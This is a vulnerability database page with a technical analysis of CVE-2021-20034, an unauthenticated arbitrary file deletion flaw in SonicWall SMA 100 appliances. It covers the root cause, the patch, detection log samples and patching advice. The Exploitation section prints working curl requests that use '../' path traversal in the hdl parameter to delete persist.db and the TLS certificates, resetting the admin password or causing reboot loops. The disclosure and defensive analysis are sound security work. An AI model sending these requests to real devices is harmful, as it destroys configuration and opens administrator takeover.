Attacker Value
Low
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
4

CVE-2021-20034

Disclosure Date: September 27, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Impact
Techniques
Validation
Validated
Validated
Validated
Validated
Validated
Initial Access
Techniques
Validation
Validated

Description

An improper access control vulnerability in SMA100 allows a remote unauthenticated attacker to bypass the path traversal checks and delete an arbitrary file potentially resulting in a reboot to factory default settings.

Add Assessment

3
Ratings
Technical Analysis

Beyond denial of service purposes, CVE-2021-20034 has limited attacker value due to the inability of the attacker to easily reboot the system post-exploitation. While the vulnerability could see use by destructive attackers, it’s unlikely to be used in any type of widespread campaign like previous SonicWall vulnerabilities. See the Rapid7 analysis for full details.

CVSS V3 Severity and Metrics
Base Score:
9.1 Critical
Impact Score:
5.2
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
None
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • SonicWall

Products

  • SMA100

Additional Info

Technical Analysis

Description

On September 23, 2021, SonicWall published an advisory for CVE-2021-20034, a critical arbitrary file deletion vulnerability affecting their Secure Mobile Access (SMA) 100 Series.
The vulnerability is the result of an attacker-controlled filepath being passed into the unlink function. Successful exploitation would allow an attacker to, among other things, reset the administrator password to its default value. CVE-2021-20034 has a CVSSv3 base score of 9.1.

At the time of writing, no public exploit existed for this issue and there is no public intel indicating the vulnerability is being exploited in the wild.

Affected products

SonicWall SMA 100 Series platforms (SMA 200, SMA 210, SMA 400, SMA 410, and SMA 500v) running the following versions:

  • 9.0.0.10-28sv and earlier
  • 10.2.0.7-34sv and earlier
  • 10.2.1.0-17sv and earlier

Rapid7 analysis

Root Cause

The vulnerable code can be located within /usr/src/EasyAccess/www/cgi-bin/handleWAFRedirect and can be reached over the network at https://address/cgi-bin/handleWAFRedirect. The specific issue is related to the use of unlink with an attacker controlled file path. The following shows Ghidra’s disassembly and decompilation around the affected unlink.

Vulnerable

In the above image, the file path that gets passed to unlink is created by using /tmp/%s with the attacker data and snprintf. While that looks like an obvious path traversal issue, the user provided path was previously checked for path traversal earlier in the function.

isPathStartFromDir

In the code above, the attacker provided file name is again combined with /tmp/%s and then passed to isPathStartFromDir like so: isPathStartFromDir(‘/tmp/user_provided’, ‘/tmp\x00’). isPathStartFromDir is actually a reasonably written directory traversal checking function. It uses realpath to resolve the attacker controlled file path and then determines if that path is still within /tmp:

realpath

This part of handleWAFRedirect will recognize an attacker provided path traversal and appropriately refuse to let logic flow down to an fopen call. However, instead of immediately exiting after determining the user provided path is invalid, handleWAFRedirect still drops down into the unlink logic mentioned above. So while SonicWall described this issue as a “path traversal checks” bypass, it’s really just a straight logic bug. The software identified the path as being suspicious, but erroneously used it anyway.

To fix this, SonicWall (more or less) added logic to exit after isPathStartFromDir fails.

patched

Exploitation

The attacker only has the privileges of the ‘nobody’ user. That is actually quite limiting since most everything is running as root and most files require root privileges to modify them. However, the attacker can go after some pretty important configuration files.

sh-4.2# ls -l /flash/etc/EasyAccess/var/conf
ls -l /flash/etc/EasyAccess/var/conf
total 200
-r--r--r-- 1 root root   5708 Feb 18  2021 exampleSettings.json
-rw-rw-rw- 1 root root    624 Oct  8 12:59 fcrontab.config
-rw------- 1 root root    465 Oct  8 12:59 fcrontab.config.orig
-rw-r----- 1 root root     89 Oct  8 12:59 fcrontab.config.ph
-rw-rw-rw- 1 root root   3545 Oct  8 13:58 firebase.conf
-rwxrwxrwx 1 root root    980 Feb 18  2021 firebase.default
-rwxrwxrwx 1 root root    144 Feb 18  2021 ha.conf
-rwxrwxrwx 1 root root    144 Feb 18  2021 ha.default
-rw-rw-rw- 1 root root 181248 Oct 11 04:01 persist.db
drwxrwxrwx 3 root root   1024 Oct  8 12:59 postscripts
drwxrwxrwx 2 root root   3072 Feb 18  2021 schema
-rwxrwxrwx 1 root root     26 Feb 18  2021 tunneld.conf
-rwxrwxrwx 1 root root     26 Feb 18  2021 tunneld.default
sh-4.2#

The most important file the attacker can delete is the persist.db. It contains a wide variety of the system’s configuration settings. From users and passwords to portal customizations and domains, the persist.db maintains all this information between boots and firmware upgrades.

persist

So what happens when an attacker deletes persist.db?

albinolobster@ubuntu:~$ curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../flash/etc/EasyAccess/var/conf/persist.db"
*   Trying 10.0.0.6:443...
* Connected to 10.0.0.6 (10.0.0.6) port 443 (#0)
> GET /cgi-bin/handleWAFRedirect?hdl=../flash/etc/EasyAccess/var/conf/persist.db HTTP/1.1
> Host: 10.0.0.6
> User-Agent: curl/7.74.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 12 Oct 2021 19:15:17 GMT
< Server: SonicWALL SSL-VPN Web Server
< X-FRAME-OPTIONS: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: script-src https://*.duosecurity.com 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'
< Referrer-Policy: strict-origin
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
...

The response is a normal 200 OK, but the web interface becomes completely unavailable.

db_delete

Which makes sense, because even just hitting the landing page requires the web interface to reach into persist.db. With persist.db missing, the HTTP server falls into an error state. But importantly the system does not reboot. The system simply idles in a bad state.

Upon reboot a default persist.db is generated. Which means the administrator account with the default password (password) is created. This would allow an attacker to gain access to the web interface, but it doesn’t appear that the attacker has any means of forcing the reboot themselves.

An attacker can also force the system into endless reboots. This can be achieved by deleting the default SSL certificates.

albinolobster@ubuntu:~$ curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../usr/src/EasyAccess/var/cert/server.crt"
albinolobster@ubuntu:~$ curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../usr/src/EasyAccess/var/cert/server.key"

When the system is rebooted, httpd will fail to start due to missing certificates. This will trigger the software monitor to reboot.

httpd

Again, dropping into the reboot cycle requires someone first reboot the server. And that’s the major limiting factor to this vulnerability’s usefulness. Certainly CVE-2021-20034 is dangerous and can be used by destructive attackers simply looking to be chaotic. But, without an easy-to-use reboot mechanism, the vulnerability will be difficult for attackers to leverage in order to pivot into enterprise networks like we’ve seen with previous SonicWall vulnerabilities.

Guidance

Patches have been released for all affected versions, so SMA 100 series customers should follow SonicWall’s patching guidance. Wherever possible, avoid exposing the web interface to the public internet. SonicWall customers can also export the httpd logs (System –> Diagnostics –> Download Report –> httpd.log) and look for attempted exploitation. Sample log entries:

[Tue Oct 12 08:52:30 2021] [error] [client 10.0.0.9] fetchAttackInfo: threat info file is illegal:/tmp/../flash/etc/EasyAccess/var/conf/persist.db couldnt be read
[Tue Oct 12 08:53:30 2021] [error] [client 10.0.0.9]
[Tue Oct 12 08:53:30 2021] [error] [client 10.0.0.9] fetchAttackInfo: threat info file is illegal:/tmp/../usr/src/EasyAccess/bin/httpd couldnt be read
[Tue Oct 12 08:53:30 2021] [error] [client 10.0.0.9]
[Tue Oct 12 08:53:30 2021] [error] [client 10.0.0.9] deleteAttackInfo:Unable to unlink WAF attack info file:/tmp/../usr/src/EasyAccess/bin/httpd